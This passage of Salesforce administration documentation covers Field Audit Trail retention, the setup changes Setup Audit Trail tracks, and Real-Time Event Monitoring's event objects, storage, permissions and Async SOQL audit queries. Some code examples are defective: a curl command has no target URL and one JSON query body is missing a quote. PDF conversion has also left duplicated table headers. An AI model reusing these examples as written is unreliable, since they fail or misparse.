**Note:** When Field Audit Trail is enabled, `HistoryRetentionPolicy` is automatically set on the supported objects. By default, data is archived after 18 months in production, after one month in sandboxes, and all archived data is stored until you manually delete it. The default retention policy isn’t included when retrieving the object’s definition through Metadata API. Only custom retention policies are retrieved along with the object definition.

You can include field history retention policies in managed and unmanaged packages.

These fields can’t be tracked.
- Formula, roll-up summary, or auto-number fields
- Created By and Last Modified By
- Expected Revenue field on opportunities
- Master Solution Title or the Master Solution Details fields on solutions
- Long text fields
- Multi-select fields
After you define and deploy a Field Audit Trail policy, production data is migrated from related history lists such as Account History into the `FieldHistoryArchive` big object. The first copy writes the field history that’s defined by your policy to archive storage and sometimes takes a long time. Subsequent copies transfer only the changes since the last copy and are faster. A bounded set of SOQL is available to query your archived data. If you delete a record in your production data, the delete cascades to the associated history tracking records, but the history copied into the `FieldHistoryArchive` big object isn’t deleted. To delete data in `FieldHistoryArchive`, see Delete Field History and Field Audit Trail Data.

Use Async SOQL to build aggregate reports from a custom object based on the volume of the data in the `FieldHistoryArchive` big object.

**Important:** If you enable Platform Encryption in your org and use Field Audit Trail to track encrypted fields, there are limitations on using Async SOQL. Using Async SOQL to query the `NewValue` or `OldValue` fields of the `FieldHistoryArchive` big object isn’t supported. Use SOQL to query both encrypted and unencrypted `NewValue` and `OldValue` fields of `FieldHistoryArchive`.

**Tip:** Previously archived data remains unencrypted if you turn on Platform Encryption later. For example, your organization uses Field Audit Trail to define a data history retention policy for an account field, such as the phone number field. After enabling Platform Encryption, you turn on encryption for that field, and phone number data in the account is encrypted. New phone number records and previous updates stored in the Account History related list are encrypted. But phone number history data already archived in the `FieldHistoryArchive` object remains stored without encryption. To encrypt previously archived data, contact Salesforce to encrypt and rearchive the stored field history data, then delete the unencrypted archive.

## Monitor Setup Changes with Setup Audit Trail

Setup Audit Trail tracks the recent setup changes that you and other admins make. Audit history is especially useful when there are multiple admins.

To view the audit history, from Setup, in the Quick Find box, enter View Setup Audit Trail, then select View Setup Audit Trail. To download your org’s complete setup history for the past 180 days, click Download. After 180 days, setup entity records are deleted.

The history shows the 20 most recent setup changes made to your org. It lists the date of the change, who made it, and what the change was. If a delegate such as an admin or customer support representative makes a setup change on behalf of an end user, the Delegate User column shows the delegate’s username. For example, if a user grants login access to an admin and the admin makes a setup change, the admin’s username is listed in the Delegate User column. The user granting access is listed in the User column.

Setup Audit Trail tracks these changes.

<table>
<thead>
<tr>
<th><strong>Setup</strong></th>
<th><strong>Changes Tracked</strong></th>
</tr>
</thead>
<tbody>
<tr>
<td>Administration</td>
<td>• Company information, default settings like language or locale, and company messages</td>
</tr>
<tr>
<td></td>
<td>• Multiple currencies</td>
</tr>
<tr>
<td></td>
<td>• Users, portal users, roles, permission sets, and profiles</td>
</tr>
<tr>
<td></td>
<td>• Email addresses for any user</td>
</tr>
<tr>
<td></td>
<td>• Deleting email attachments sent as links</td>
</tr>
<tr>
<td></td>
<td>• Email footers, including creating, editing, or deleting</td>
</tr>
<tr>
<td></td>
<td>• Email deliverability settings</td>
</tr>
</tbody>
</table>

**EDITIONS**

Available in: Salesforce Classic and Lightning Experience

Available in: Contact Manager, Essentials, Group, Professional, Enterprise, Performance, Unlimited, Developer, and Database.com Editions

**USER PERMISSIONS**

To view audit trail history:

- View Setup and Configuration
### Setup

<table>
<thead>
<tr>
<th>Changes Tracked</th>
</tr>
</thead>
<tbody>
<tr>
<td>• Divisions, including creating, editing, and transferring and changing users' default division</td>
</tr>
<tr>
<td>• Certificates, adding or deleting</td>
</tr>
<tr>
<td>• My Domain settings and changes</td>
</tr>
<tr>
<td>• Enabling or disabling Salesforce as an identity provider</td>
</tr>
<tr>
<td>• DKIM, email relay, and email domain filter values when a record is created, edited, or deleted</td>
</tr>
</tbody>
</table>

### Profiles

<table>
<thead>
<tr>
<th>Changes Tracked</th>
</tr>
</thead>
<tbody>
<tr>
<td>• Permission for a standard or custom profile changed</td>
</tr>
<tr>
<td>• General or admin permission changed</td>
</tr>
<tr>
<td>• FLS changed on the profile</td>
</tr>
<tr>
<td>• Entity permission for a standard or custom profile changed</td>
</tr>
<tr>
<td>• Profile Page Layout changed</td>
</tr>
<tr>
<td>• Tab set on a standard or custom profile changed</td>
</tr>
<tr>
<td>• User tab set override changed</td>
</tr>
<tr>
<td>• User tab set customization override changed for standard or custom profiles</td>
</tr>
<tr>
<td>• Tab set visibility changed for a standard or custom profile</td>
</tr>
<tr>
<td>• Tab set visibility modified</td>
</tr>
<tr>
<td>• Default tab set modified</td>
</tr>
<tr>
<td>• Custom App default changed on standard or custom profiles</td>
</tr>
<tr>
<td>• Profile renamed, cloned, or deleted</td>
</tr>
<tr>
<td>• Profile description changed</td>
</tr>
<tr>
<td>• Standard or custom profile cloned</td>
</tr>
<tr>
<td>• Console setting or layout changed</td>
</tr>
<tr>
<td>• View, or modify, all data enabled for this profile</td>
</tr>
<tr>
<td>• Login hours for the profile modified.</td>
</tr>
<tr>
<td>• Client settings for the profile modified</td>
</tr>
<tr>
<td>• Record type added to or removed from the profile</td>
</tr>
<tr>
<td>• Default record type modified</td>
</tr>
<tr>
<td>• Default person account record type modified</td>
</tr>
<tr>
<td>• Default business account record type modified</td>
</tr>
<tr>
<td>• Single sign on enabled or disabled for this profile</td>
</tr>
</tbody>
</table>

### Permission Sets/Groups

<table>
<thead>
<tr>
<th>Changes Tracked</th>
</tr>
</thead>
<tbody>
<tr>
<td>• Permission set (or group) created, cloned, or deleted</td>
</tr>
<tr>
<td>• Permission set (or group) changes to the assignment expiration date (beta)</td>
</tr>
<tr>
<td>• Permission set created or cloned without a license</td>
</tr>
<tr>
<td>• Developer name, label, or description of a permission set changed</td>
</tr>
<tr>
<td>• Session activation changed by admin</td>
</tr>
<tr>
<td>• Permission in a permission set enabled or disabled by admin</td>
</tr>
<tr>
<td>• FLS for an object in a permission set changed by admin</td>
</tr>
<tr>
<td>• Permission set from a user assigned or unassigned by admin</td>
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</tbody>
</table>
### Setup

<table>
<thead>
<tr>
<th>Changes Tracked</th>
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<tbody>
<tr>
<td>• Tab settings in a permission set changed by admin</td>
</tr>
<tr>
<td>• Permission set group assigned or removed for a user</td>
</tr>
<tr>
<td>• Permission set group recalculated</td>
</tr>
</tbody>
</table>

### Customization

<table>
<thead>
<tr>
<th>Changes Tracked</th>
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</thead>
<tbody>
<tr>
<td>• User interface settings like collapsible sections, Quick Create, hover details, or related list hover links</td>
</tr>
<tr>
<td>• Page layout, action layout, and search layouts</td>
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<tr>
<td>• Compact layouts</td>
</tr>
<tr>
<td>• Salesforce app navigation menu</td>
</tr>
<tr>
<td>• Inline edits</td>
</tr>
<tr>
<td>• Custom fields and field-level security, including formulas, picklist values, and field attributes like the auto-number field format, field manageability, or masking of encrypted fields</td>
</tr>
<tr>
<td>• Lead settings, lead assignment rules, and lead queues</td>
</tr>
<tr>
<td>• Activity settings</td>
</tr>
<tr>
<td>• Support settings, business hours, case assignment and escalation rules, and case queues</td>
</tr>
<tr>
<td>• Requests to Salesforce Customer Support</td>
</tr>
<tr>
<td>• Tab names, including tabs that you reset to the original tab name</td>
</tr>
<tr>
<td>• Custom apps (including Salesforce console apps), custom objects, and custom tabs</td>
</tr>
<tr>
<td>• Contract settings</td>
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<tr>
<td>• Forecast settings</td>
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<tr>
<td>• Email-to-Case or On-Demand Email-to-Case, enabling or disabling</td>
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<tr>
<td>• Custom buttons, links, and s-controls, including standard button overrides</td>
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<tr>
<td>• Drag-and-drop scheduling, enabling or disabling</td>
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<tr>
<td>• Similar opportunities, enabling, disabling, or customizing</td>
</tr>
<tr>
<td>• Quotes, enabling or disabling</td>
</tr>
<tr>
<td>• Data category groups, data categories, and category-group assignments to objects</td>
</tr>
<tr>
<td>• Article types</td>
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<tr>
<td>• Category groups and categories</td>
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<tr>
<td>• Salesforce Knowledge settings</td>
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<tr>
<td>• Ideas settings</td>
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<tr>
<td>• Answers settings</td>
</tr>
<tr>
<td>• Field tracking in feeds</td>
</tr>
<tr>
<td>• Campaign influence settings</td>
</tr>
<tr>
<td>• Critical updates, activating or deactivating</td>
</tr>
<tr>
<td>• Chatter email notifications, enabling or disabling</td>
</tr>
<tr>
<td>• Chatter new user creation settings for invitations and email domains, enabling or disabling</td>
</tr>
<tr>
<td>• Validation rules</td>
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</tbody>
</table>

### Security and Sharing

<table>
<thead>
<tr>
<th>Changes Tracked</th>
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</thead>
<tbody>
<tr>
<td>• Public groups, sharing rules, and org-wide sharing, including the Grant Access Using Hierarchies option</td>
</tr>
<tr>
<td>• Password policies</td>
</tr>
<tr>
<td>Setup</td>
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<td>Various Setups</td>
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### Real-Time Event Monitoring

Real-Time Event Monitoring helps you monitor and detect standard events in Salesforce in near real-time. You can store the event data for auditing or reporting purposes. You can create transaction security policies using Condition Builder—a point-and-click tool—or Apex code.

With Real-Time Event Monitoring, gain greater insights into:

- Who viewed what data and when
- Where data was accessed
- When a user changes a record using the UI
- Who is logging in and from where
- Who in your org is performing actions related to Platform Encryption administration
- Which admins logged in as another user and the actions the admin took as that user
- How long it takes a Lightning page to load
- Threats detected in your org, such as anomalies in how users view or export reports, session hijacking attacks, or credential stuffing attacks

As a best practice, before creating transaction security policies, you can view or query events to determine appropriate thresholds for normal business usage.
IN THIS SECTION:

Real-Time Event Monitoring Definitions
Keep these terms in mind when working with Real-Time Event Monitoring.

Considerations for Using Real-Time Event Monitoring
Keep the following considerations in mind as you set up and use Real-Time Event Monitoring.

Enable Access to Real-Time Event Monitoring
You can set user access to Real-Time Event Monitoring through profiles and permission sets.

Stream and Store Event Data
Explore how you can use the objects in Real-Time Event Monitoring to stream and store event data.

Create Logout Event Triggers
If the LogoutEventStream object is available to your org, you can create Apex triggers that respond to security logout events from your org's UI.

How Chunking Works with ReportEvent and ListViewEvent
Chunking occurs when a report or list view execution returns many records and Salesforce splits the returned data into chunks.

Enhanced Transaction Security
Enhanced Transaction Security is a framework that intercepts real-time events and applies appropriate actions to monitor and control user activity. Each transaction security policy has conditions that evaluate events and the real-time actions that are triggered after those conditions are met. The actions are Block, Multi-Factor Authentication, and Notifications. Before you build your policies, understand the available event types, policy conditions, and common use cases. Enhanced Transaction Security is included in Real-Time Event Monitoring.

Threat Detection
Threat Detection uses statistical and machine learning methods to detect threats to your Salesforce org. While Salesforce identifies these threats for all Salesforce customers, you can view the information in the events with Threat Detection in Event Monitoring and investigate further if necessary.

SEE ALSO:
Salesforce Help: What’s the Difference Between the Salesforce Events?
Learning Map: Shield Learning Map

Real-Time Event Monitoring Definitions
Keep these terms in mind when working with Real-Time Event Monitoring.

Event
An event is anything that happens in Salesforce, including user clicks, record state changes, and measuring values. Events are immutable and timestamped.

Event Channel
A stream of events on which an event producer sends event messages and event consumers read those messages.

Event Subscriber
A subscriber to a channel that receives messages from the channel. For example, a security app is notified of new report downloads.

Event Message
A message used to transmit data about the event.
Considerations for Using Real-Time Event Monitoring

Keep the following considerations in mind as you set up and use Real-Time Event Monitoring.

Salesforce Classic versus Lightning Experience

Some events apply only to Salesforce Classic or Lightning Experience.

The following objects support only Salesforce Classic:
- URIEvent
- URIEventStream

The following object supports only Lightning Experience:
- LightningUriEvent
- LightningUriEventStream

Note: Real-Time Event Monitoring objects sometimes contain sensitive data. Assign object permissions to Real-Time Events accordingly in profiles or permission sets.

Enhanced Transaction Security

- With Enhanced Transaction Security, you can create policies using either Condition Builder or Apex code.
- Enhanced Transaction Security policies support both standard and custom objects.
- The multi-factor authentication action isn’t available in the Salesforce mobile app, Lightning Experience, or via API for any events. Instead, the block action is used. For example, if a multi-factor authentication policy is triggered on a list view performed via the API, Salesforce blocks the API call.
- A value of 0 for the RowsProcessed field in an object (such as ApiEvent) indicates that a query was performed and nothing was returned. This scenario is possible if a user doesn’t have the correct permissions for a data row or the query doesn’t return results. In this case, the QueriedEntities field is empty.
- Let’s say you create both an Apex and a Condition Builder policy on the same event. You also specify the same action (Block or multi-factor authentication) for both policies. In this case, the Apex policy executes before the Condition Builder policy. The PolicyId field of the event reflects the last policy that was executed and triggered.
- You can’t use the same Apex class on policies with the same event. When you create an Apex policy using Condition Builder, the list of available Apex classes can differ based on the policies you already created.
- Let’s say you enable a transaction security policy for an event in which the action is None. As a result, when an event satisfies the policy conditions, the policy isn’t triggered. However, these event fields are still populated:
  - EvaluationTime—The time it took for the policy to be evaluated.
  - PolicyOutcome—Set to NoAction.
  - PolicyId—Set to null.
Recommended Usage of Event Objects

Real-Time Event Monitoring objects have three primary uses: streaming data, storing data, and enforcing policies on data. But these uses don’t apply to all objects. Here’s guidance on which objects are available for each use case. For details, see Stream and Store Event Data.

<table>
<thead>
<tr>
<th>Streaming</th>
<th>Storage</th>
<th>Policy</th>
</tr>
</thead>
<tbody>
<tr>
<td>ApiEventStream</td>
<td>ApiEvent</td>
<td>ApiEvent</td>
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<tr>
<td>LightningUriEventStream</td>
<td>LightningUriEvent</td>
<td>n/a</td>
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<tr>
<td>ListViewEventStream</td>
<td>ListViewEvent</td>
<td>ListViewEvent</td>
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<tr>
<td>LoginAsEventStream</td>
<td>LoginAsEvent</td>
<td>n/a</td>
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<tr>
<td>LoginEventStream</td>
<td>LoginEvent</td>
<td>LoginEvent</td>
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<tr>
<td>LogoutEventStream</td>
<td>LogoutEvent</td>
<td>n/a</td>
</tr>
<tr>
<td>UriEventStream</td>
<td>UriEvent</td>
<td>n/a</td>
</tr>
</tbody>
</table>

Note: Real-Time Event Monitoring Platform Events aren’t a system of record for user activity. They’re a source of truth but event notifications aren’t always available or guaranteed. For more reliable data storage, use Real-Time Event Monitoring Storage Events on page 202.
Enable Access to Real-Time Event Monitoring

You can set user access to Real-Time Event Monitoring through profiles and permission sets.

1. Do one of the following.
   a. From Setup, in the Quick Find box, enter Permission Sets, and then select Permission Sets.
   b. From Setup, in the Quick Find box, enter Profiles, and then select Profiles.

2. Select a permission set or profile.

3. Depending on whether you’re using permission sets or profiles, do one of the following.
   a. In permission sets or the enhanced profile user interface, select a permission. In the Find Settings dialog box, enter View Real-Time Event Monitoring Data. Click Edit, select the option, and click Save. Repeat these steps for the Customize Application permission.
   b. In the original profile user interface, select a profile name, and then click Edit. Select View Real-Time Event Monitoring Data, View All Data, and Customize Application if you plan to create transaction security policies. Click Save.

In addition to enabling Real-Time Event Monitoring, set user permissions to Real-Time Event objects. Real-Time Event Monitoring objects sometimes contain sensitive data.

Stream and Store Event Data

Explore how you can use the objects in Real-Time Event Monitoring to stream and store event data.

IN THIS SECTION:

**Manage Real-Time Event Monitoring Events**
Manage streaming and storage settings for Real-Time Event Monitoring events declaratively with the Event Manager. You can also manage settings programmatically with the Metadata API. Real-Time Event Monitoring helps you monitor and detect standard events in Salesforce in near real-time. You can store the event data for auditing or reporting purposes. You can create transaction security policies using Condition Builder—a point-and-click tool—or Apex code.

**Real-Time Event Monitoring Data Streaming**
Use Real-Time Event Monitoring to subscribe to standard events published by Salesforce to monitor activity in your org. You can subscribe to this data from an external data system of your choice using a streaming API client.
Real-Time Event Monitoring Data Storage
With Real-Time Event Monitoring, you can store and query event data in Salesforce objects. Many of the storage events are Salesforce big objects, which are ideal for storing large volumes of data for up to six months. A big object stores the data natively in Salesforce so you can access it for reporting and other uses. Some storage events, such as for Threat Detection, are standard Salesforce objects.

Use Async SOQL with Real-Time Event Monitoring
Here are some examples of using Async SOQL with real-time events.

Manage Real-Time Event Monitoring Events
Manage streaming and storage settings for Real-Time Event Monitoring events declaratively with the Event Manager. You can also manage settings programmatically with the Metadata API. Real-Time Event Monitoring helps you monitor and detect standard events in Salesforce in near real-time. You can store the event data for auditing or reporting purposes. You can create transaction security policies using Condition Builder—a point-and-click tool—or Apex code.

Important: Viewing Real-Time Event Monitoring events requires Salesforce Shield or Salesforce Event Monitoring add-on subscriptions. You don’t need this add-on to view streaming logout events.

Note: Real-Time Event Monitoring objects sometimes contain sensitive data. Assign object permissions to Real-Time Events accordingly in profiles or permission sets.

1. From Setup, in the Quick Find box, enter Events, then select Event Manager.
2. Next to the event you want to enable or disable streaming for, click the dropdown menu.
3. Select whether you want to enable or disable streaming or storing on the event.

Real-Time Event Monitoring Data Streaming
Use Real-Time Event Monitoring to subscribe to standard events published by Salesforce to monitor activity in your org. You can subscribe to this data from an external data system of your choice using a streaming API client.

Data is streamed using a publish-subscribe model. Salesforce publishes streaming data to an event subscription channel, and your app subscribes, or listens, to the event channel to get the data close to real time. Streaming events are retained for up to three days. Real-Time Event Monitoring’s streaming events don’t count against your Platform Events delivery allocation. Some system protection limits apply. For example, Salesforce delivers a maximum of 50 million real-time events per day.

Tip: To more efficiently obtain and process event data from three days ago or less, we recommend querying events from big objects instead of subscribing to past events in a stream.

Here are some examples.

<table>
<thead>
<tr>
<th>Event Object</th>
<th>Use Case</th>
<th>Considerations</th>
</tr>
</thead>
<tbody>
<tr>
<td>ApiEventStream</td>
<td>Detect when a user queries sensitive data, such as patent records.</td>
<td>Object is available only in Real-Time Event Monitoring.</td>
</tr>
<tr>
<td>ApiAnomalyEvent</td>
<td>Track anomalies in how users make API calls.</td>
<td>Object is available only in Real-Time Event Monitoring.</td>
</tr>
<tr>
<td>Event Object</td>
<td>Use Case</td>
<td>Considerations</td>
</tr>
<tr>
<td>-------------------------------</td>
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</tr>
<tr>
<td>BulkApiResultEvent</td>
<td>Track when a user downloads the results of a Bulk API or Bulk API 2.0 request.</td>
<td>Object is available only in Real-Time Event Monitoring.</td>
</tr>
<tr>
<td>ConcurLongRunApexErrEvent</td>
<td>Detect errors that occur when an org exceeds the concurrent long-running Apex limit.</td>
<td>Object is available only in Real-Time Event Monitoring.</td>
</tr>
<tr>
<td>CredentialStuffingEvent</td>
<td>Track when a user successfully logs into Salesforce during an identified credential stuffing attack. Credential stuffing refers to large-scale automated login requests using stolen user credentials.</td>
<td>Object is available only in Real-Time Event Monitoring.</td>
</tr>
<tr>
<td>FileEvent</td>
<td>Detects file-related events, such as when a user downloads a file.</td>
<td>Object is available only in Real-Time Event Monitoring.</td>
</tr>
<tr>
<td>LightningUriEventStream</td>
<td>Detect when a user creates, accesses, updates, or deletes a record containing sensitive data in Lightning Experience.</td>
<td>Object is available only in Real-Time Event Monitoring.</td>
</tr>
<tr>
<td>ListViewEventStream</td>
<td>Detect when a user accesses, updates, or exports list view data using Salesforce Classic, Lightning Experience, or the API.</td>
<td>Object is available only in Real-Time Event Monitoring.</td>
</tr>
<tr>
<td>LoginAsEventStream</td>
<td>Detect when a Salesforce admin logs in as another user and track the admin's activities.</td>
<td>Object is available only in Real-Time Event Monitoring.</td>
</tr>
<tr>
<td>LoginEventStream</td>
<td>Detect when a user tries to log in under certain conditions—for example, from an unsupported browser or from an IP address that is outside of your corporate range.</td>
<td>Object is available only in Real-Time Event Monitoring.</td>
</tr>
<tr>
<td>LogoutEventStream</td>
<td>Detect when a user logs out of Salesforce by clicking Log Out in the Salesforce UI.</td>
<td>Object is available to all customers.</td>
</tr>
<tr>
<td>MobileEmailEvent</td>
<td>Track your users’ email activity in a Salesforce mobile app.</td>
<td>Object is available only in Real-Time Event Monitoring and Enhanced Mobile App Security.</td>
</tr>
<tr>
<td>MobileScreenshotEvent</td>
<td>Track your users’ screenshots in a Salesforce mobile app.</td>
<td>Object is available only in Real-Time Event Monitoring and Enhanced Mobile App Security.</td>
</tr>
<tr>
<td>MobileTelephonyEvent</td>
<td>Track your users’ phone calls and text messages in a Salesforce mobile app.</td>
<td>Object is available only in Real-Time Event Monitoring and Enhanced Mobile App Security.</td>
</tr>
<tr>
<td>PermissionSetEvent</td>
<td>Detect permission assignment changes in permission sets and permission set groups.</td>
<td>Object is available only in Real-Time Event Monitoring.</td>
</tr>
</tbody>
</table>
Considerations

Use Case

Event Object | Use Case | Considerations
--- | --- | ---
ReportAnomalyEvent | Track anomalies in how users run or export reports. | Object is available only in Real-Time Event Monitoring.
ReportEventStream | Detect when a user creates, runs, updates, or exports a report that contains sensitive data. | Object is available only in Real-Time Event Monitoring.
SessionHijackingEvent | Track when unauthorized users gain ownership of a Salesforce user’s session with a stolen session identifier. | Object is available only in Real-Time Event Monitoring.
UriEventStream | Detect when a user creates, accesses, updates, or deletes a record containing sensitive data in Salesforce Classic. | Object is available only in Real-Time Event Monitoring.

For more information about building apps that listen to streaming data channels, see the Streaming API Developer Guide.

For a quick start about subscribing to streaming events using the EMP Connector open-source tool, see the Example: Subscribe to and Replay Events Using a Java Client (EMP Connector) in the Platform Events Developer Guide.

For reference documentation of the standard platform events and the corresponding big objects, see Real-Time Event Monitoring Objects in the Platform Events Developer Guide.

Real-Time Event Monitoring Data Storage

With Real-Time Event Monitoring, you can store and query event data in Salesforce objects. Many of the storage events are Salesforce big objects, which are ideal for storing large volumes of data for up to six months. A big object stores the data natively in Salesforce so you can access it for reporting and other uses. Some storage events, such as for Threat Detection, are standard Salesforce objects.

Using SOQL with Storage Events

Standard and Async SOQL queries are supported for both types of storage events: big objects and standard objects.

**Standard SOQL**

Standard objects, such as the Threat Detection storage events, support SOQL queries on all their fields. But big objects support SOQL queries on only two fields: EventDate or EventIdentifier. You can query big objects using a subset of standard SOQL commands filtering by EventDate alone, or EventDate and EventIdentifier together.

The exception is ReportEvent, where you can filter on three fields: EventDate, EventIdentifier, and UserId (Beta). Valid filters for ReportEvent queries are: If you filter on EventIdentifier alone, or UserId with EventIdentifier, your query fails. You can only do a range query on the first index when you’re searching on UserId alone.

- UserId alone
- EventDate alone
- UserId with EventDate
- EventDate with EventIdentifier

**Note:** As a beta feature, the UserId filter in ReportEvent is a preview and isn’t part of the “Services” under your Main Services Agreement with Salesforce. Use this feature at your sole discretion, and make your purchase decisions only on the basis of generally available products and features. Salesforce doesn’t guarantee general availability of this feature within any particular time frame.

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Async SOQL

Async SOQL is a way to run SOQL queries when you must filter on big object fields other than EventDate and EventId. Async SOQL schedules and runs queries asynchronously in the background, so it can run queries that normally time out with regular SOQL.

With Async SOQL, you can run multiple queries in the background while monitoring their completion status. Set up your queries and come back a few hours later to a dataset to work with. Async SOQL is the most efficient way to process the large amount of data in a storage event, especially for big objects. For more information, see Use Async SOQL with Real-Time Event Monitoring and Async SOQL in the Big Objects Implementation Guide.

Storage Events

Here are the Real-Time Event Monitoring storage events.

<table>
<thead>
<tr>
<th>Event Object</th>
<th>Standard or Big Object?</th>
<th>Use Case</th>
<th>Considerations</th>
</tr>
</thead>
<tbody>
<tr>
<td>ApiEvent</td>
<td>Big Object</td>
<td>Store data about all API activity that occurred for particular objects during a fiscal year.</td>
<td>Object is available only in Real-Time Event Monitoring. Data is stored for up to 6 months.</td>
</tr>
<tr>
<td>ApiAnomalyEventStore</td>
<td>Standard Object</td>
<td>Store data about anomalies in how users make API calls.</td>
<td>Object is available only in Real-Time Event Monitoring. Data is stored for up to 6 months.</td>
</tr>
<tr>
<td>BulkApiResultEventStore</td>
<td>Big Object</td>
<td>Store large amount of data about Bulk API activity that occurred for particular objects during a fiscal year.</td>
<td>Object is available only in Real-Time Event Monitoring. Data is stored for up to 6 months.</td>
</tr>
<tr>
<td>CredentialStuffingEventStore</td>
<td>Standard Object</td>
<td>Store data about successful user logins during an identified credential stuffing attack. Credential stuffing refers to large-scale automated login requests using stolen user credentials.</td>
<td>Object is available only in Real-Time Event Monitoring. Data is stored for up to 6 months.</td>
</tr>
<tr>
<td>FileEventStore</td>
<td>Big Object</td>
<td>Stores file-related event data, such as when a user downloads a file.</td>
<td>Object is available only in Real-Time Event Monitoring. Data is stored for up to 6 months.</td>
</tr>
<tr>
<td>IdentityVerificationEvent</td>
<td>Big Object</td>
<td>Store data about user identity verification events in your org.</td>
<td>Object is available only in Real-Time Event Monitoring. Data is stored for up to 10 years.</td>
</tr>
<tr>
<td>IdentityProviderEventStore</td>
<td>Big Object</td>
<td>Store data about problematic and successful authentication requests in the Identity Provider Event Log.</td>
<td>Object is available only in Real-Time Event Monitoring. Data is stored for up to 6 months.</td>
</tr>
<tr>
<td>LightningUriEvent</td>
<td>Big Object</td>
<td>Store data about when entities are created, accessed, updated, or deleted in Lightning Experience.</td>
<td>Object is available only in Real-Time Event Monitoring. Data is stored for up to 6 months.</td>
</tr>
<tr>
<td>Event Object</td>
<td>Standard or Big Object?</td>
<td>Use Case</td>
<td>Considerations</td>
</tr>
<tr>
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<td>-------------------------</td>
<td>--------------------------------------------------------------------------</td>
<td>--------------------------------------------------------------------------------</td>
</tr>
<tr>
<td>ListViewEvent</td>
<td>Big Object</td>
<td>Store data about when users interact with a list of records, such as contacts, accounts, or custom objects.</td>
<td>Object is available only in Real-Time Event Monitoring. Data is stored for up to 6 months.</td>
</tr>
<tr>
<td>LoginAsEvent</td>
<td>Big Object</td>
<td>Store data about when Salesforce admins log in as another user.</td>
<td>Object is available only in Real-Time Event Monitoring. Data is stored for up to 6 months.</td>
</tr>
<tr>
<td>LoginEvent</td>
<td>Big Object</td>
<td>Store data about how many users tried to log in from an unknown IP address or location and who was blocked from successfully logging in.</td>
<td>Object is available only in Real-Time Event Monitoring. Data is stored for up to 10 years.</td>
</tr>
<tr>
<td>LogoutEvent</td>
<td>Big Object</td>
<td>Store data about users who logged out successfully.</td>
<td>Object is available only in Real-Time Event Monitoring. Data is stored for up to 6 months.</td>
</tr>
<tr>
<td>PermissionSetEventStore</td>
<td>Big Object</td>
<td>Store data about permission assignment changes in permission sets and permission set groups.</td>
<td>Object is available only in Real-Time Event Monitoring. Data is stored for up to 6 months.</td>
</tr>
<tr>
<td>ReportAnomalyEventStore</td>
<td>Standard Object</td>
<td>Store data about anomalies in how users run or export reports.</td>
<td>Object is available only in Real-Time Event Monitoring. Data is stored for up to 6 months.</td>
</tr>
<tr>
<td>ReportEvent</td>
<td>Big Object</td>
<td>Store data about how many times a sensitive report was downloaded or viewed and by whom.</td>
<td>Object is available only in Real-Time Event Monitoring. Data is stored for up to 6 months.</td>
</tr>
<tr>
<td>SessionHijackingEventStore</td>
<td>Standard Object</td>
<td>Store data about when unauthorized users gain ownership of a Salesforce user’s session with a stolen session identifier.</td>
<td>Object is available only in Real-Time Event Monitoring. Data is stored for up to 6 months.</td>
</tr>
<tr>
<td>UriEvent</td>
<td>Big Object</td>
<td>Store data about when entities are created, accessed, updated, or deleted in Salesforce Classic.</td>
<td>Object is available only in Real-Time Event Monitoring. Data is stored for up to 6 months.</td>
</tr>
</tbody>
</table>

Note: In Developer Edition orgs, data for all events is stored for only one day.

Use Async SOQL with Real-Time Event Monitoring

Here are some examples of using Async SOQL with real-time events.

Note: Async SOQL is scheduled for retirement in all Salesforce orgs as of Summer ’23.

Let’s say you’ve created a custom object called Patent__c that contains sensitive patent information. You want to know when users query this object using any API. Use the following Async SOQL query on the ApiEvent object to determine when Patent__c was last accessed, who accessed it, and what part of it was accessed. The WHERE clause uses the QueriedEntities field to narrow the results to just API queries of the Patent__c object.
Example URI

https://yourInstance.salesforce.com/services/data/v48.0/async-queries/

Example POST request body

```json
{
    "query": "SELECT EventDate, EventIdentifier, QueriedEntities, SourceIp, Username, userAgent FROM ApiEvent
    WHERE QueriedEntities LIKE '%Patent__c%'",
    "targetObject": "ApiTarget__c",
    "targetFieldMap": {
        "EventDate": "EventDate__c",
        "EventIdentifier": "EventIdentifier__c",
        "QueriedEntities": "QueriedEntities__c",
        "SourceIp": "IPAddress__c",
        "Username": "User__c",
        "UserAgent": "UserAgent__c"
    }
}
```

Example POST response body

```json
{
    "jobId": "08PB00000066JRfMAM",
    "message": "",
    "operation": "INSERT",
    "query": "SELECT EventDate, EventIdentifier, QueriedEntities, SourceIp, Username, userAgent FROM ApiEvent
    WHERE QueriedEntities LIKE '%Patent__c%'",
    "status": "Complete",
    "targetExternalIdField": "",
    "targetFieldMap": {
        "EventDate": "EventDate__c",
        "SourceIp": "IPAddress__c",
        "EventIdentifier": "EventIdentifier__c",
        "QueriedEntities": "QueriedEntities__c",
        "Username": "User__c",
        "UserAgent": "UserAgent__c"
    },
    "targetObject": "ApiTarget__c",
    "targetValueMap": {}  
}
```

**Note:** All number fields returned from a SOQL query of archived objects are in standard notation, not scientific notation, as in the number fields in the entity history of standard objects.

If you ask this question on a repeated basis for audit purposes, you can automate the query using a cURL script.

```
curl -H "Content-Type: application/json" -X POST -d '{"query": "SELECT EventDate, EventIdentifier, QueriedEntities, SourceIp, Username, UserAgent FROM ApiEvent WHERE QueriedEntities LIKE '%Patent__c%'", "targetObject": "ApiTarget__c",
    "targetFieldMap": {"EventDate": "EventDate__c", "EventIdentifier": "EventIdentifier__c", "QueriedEntities": "QueriedEntities__c", "SourceIp": "IPAddress__c", "Username": "User__c", "UserAgent": "UserAgent__c"}}'
```
Another event monitoring use case is to identify all users who accessed a sensitive field, such as Social Security Number or Email. For example, you can use the following Async SOQL query to determine the users who saw social security numbers.

**Example URI**

```plaintext
https://yourInstance.salesforce.com/services/data/v48.0/async-queries/
```

**Example POST request body**

```plaintext
{
  "query": "SELECT Query, Username, EventDate, SourceIp FROM ApiEvent
          WHERE Query LIKE '%SSN__c%',
  "targetObject": "QueryEvents__c",
  "targetFieldMap": {
    "Query": "QueryString__c",
    "Username": "User__c",
    "EventDate": "EventDate__c",
    "SourceIp": "IPAddress__c"
  }
}
```

**Example POST response body**

```plaintext
{
  "jobId": "08PB000000001RS",
  "message": "",
  "query": "SELECT Query, Username, EventDate, SourceIp FROM ApiEvent
          WHERE Query LIKE &#39;%SSN__c%&#39;",
  "status": "Complete",
  "targetFieldMap": {
    "Query": "QueryString__c",
    "Username": "User__c",
    "EventDate": "EventDate__c",
    "SourceIp": "IPAddress__c"
  },
  "targetObject": "QueryEvents__c"
}
```

**SEE ALSO:**

*Big Objects Implementation Guide: Async SOQL*

### Create Logout Event Triggers

If the LogoutEventStream object is available to your org, you can create Apex triggers that respond to security logout events from your org's UI.

